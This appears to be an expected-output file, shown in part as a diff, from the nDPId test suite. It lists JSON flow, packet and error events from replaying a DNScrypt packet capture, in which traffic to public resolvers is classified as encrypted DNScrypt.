00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":211,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802444,"flow_src_last_pkt_time":946739311802444,"flow_dst_last_pkt_time":946739311802444,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802444,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":47685,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":212,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":83,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802455,"flow_src_last_pkt_time":946739311802455,"flow_dst_last_pkt_time":946739311802455,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802455,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55979,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_src_last_pkt_time":946739311802455,"flow_dst_last_pkt_time":946739311802455,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739311802455,"pkt":"REREREREZmZmZmZmCABFAAIcgvJAAL0RWF8KAAABNEHrgdqrAbsCCOKYCm8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":212,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":83,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802455,"flow_src_last_pkt_time":946739311802455,"flow_dst_last_pkt_time":946739311802455,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802455,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55979,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":213,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739311802465} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":213,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739311802455,"pkt":"REREREREZmZmZmZmCABFAABQgvEAub0RmXMKAAABNEHrgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":84,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802507,"flow_src_last_pkt_time":946739311802507,"flow_dst_last_pkt_time":946739311802507,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802507,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55409,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_src_last_pkt_time":946739311802507,"flow_dst_last_pkt_time":946739311802507,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739311802507,"pkt":"REREREREZmZmZmZmCABFAAXcgvMgAL0RdJ4KAAABNEHrgdhxAbsGBOwCCnIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":214,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":84,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802507,"flow_src_last_pkt_time":946739311802507,"flow_dst_last_pkt_time":946739311802507,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802507,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55409,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":215,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739311802526} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":215,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739311802507,"pkt":"REREREREZmZmZmZmCABFAABQgvMAub0RmXEKAAABNEHrgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":2,"flow_src_last_pkt_time":946739311802321,"flow_dst_last_pkt_time":946739312102709,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312102709,"pkt":"ZmZmZmZmRERERERECABFAADUhiJAACkR6nc0QeuBCgAAAQG72hoAwNtICnOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":2,"flow_src_last_pkt_time":946739311802400,"flow_dst_last_pkt_time":946739312103356,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312103356,"pkt":"ZmZmZmZmRERERERECABFAADUhiRAACkR6nU0QeuBCgAAAQG7zq8AwOa1CnGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":2,"flow_src_last_pkt_time":946739311802386,"flow_dst_last_pkt_time":946739312103386,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312103386,"pkt":"ZmZmZmZmRERERERECABFAADUhiNAACgR63Y0QeuBCgAAAQG7tOkAwAB9CnCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} @@ -437,22 +385,16 @@ 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_src_last_pkt_time":946739312105460,"flow_dst_last_pkt_time":946739312105460,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312105460,"pkt":"REREREREZmZmZmZmCABFAAXcRfwgAL0RYAgKAAABMw8+QZecAbsGBGX0xUgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAW9AAwFuQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":220,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":85,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105460,"flow_src_last_pkt_time":946739312105460,"flow_dst_last_pkt_time":946739312105460,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105460,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":38812,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":2,"flow_src_last_pkt_time":946739311802507,"flow_dst_last_pkt_time":946739312105464,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312105464,"pkt":"ZmZmZmZmRERERERECABFAADUhiZAACkR6nM0QeuBCgAAAQG72HEAwNzyCnKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":222,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312105484} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":222,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312105464,"pkt":"REREREREZmZmZmZmCABFAABQRfwAub0RhNsKAAABMw8+QQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":86,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105560,"flow_src_last_pkt_time":946739312105560,"flow_dst_last_pkt_time":946739312105560,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105560,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":45993,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_src_last_pkt_time":946739312105560,"flow_dst_last_pkt_time":946739312105560,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312105560,"pkt":"REREREREZmZmZmZmCABFAAIcRf1AAL0RQ8cKAAABMw8+QbOpAbsCCDQmxUkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAHBAAwBvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00878{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":86,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105560,"flow_src_last_pkt_time":946739312105560,"flow_dst_last_pkt_time":946739312105560,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105560,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":45993,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":224,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":87,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105609,"flow_src_last_pkt_time":946739312105609,"flow_dst_last_pkt_time":946739312105609,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105609,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":56688,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_src_last_pkt_time":946739312105609,"flow_dst_last_pkt_time":946739312105609,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312105609,"pkt":"REREREREZmZmZmZmCABFAAXcRf4gAL0RYAYKAAABMw8+Qd1wAbsGBCAixUYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAW9AAwFuQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA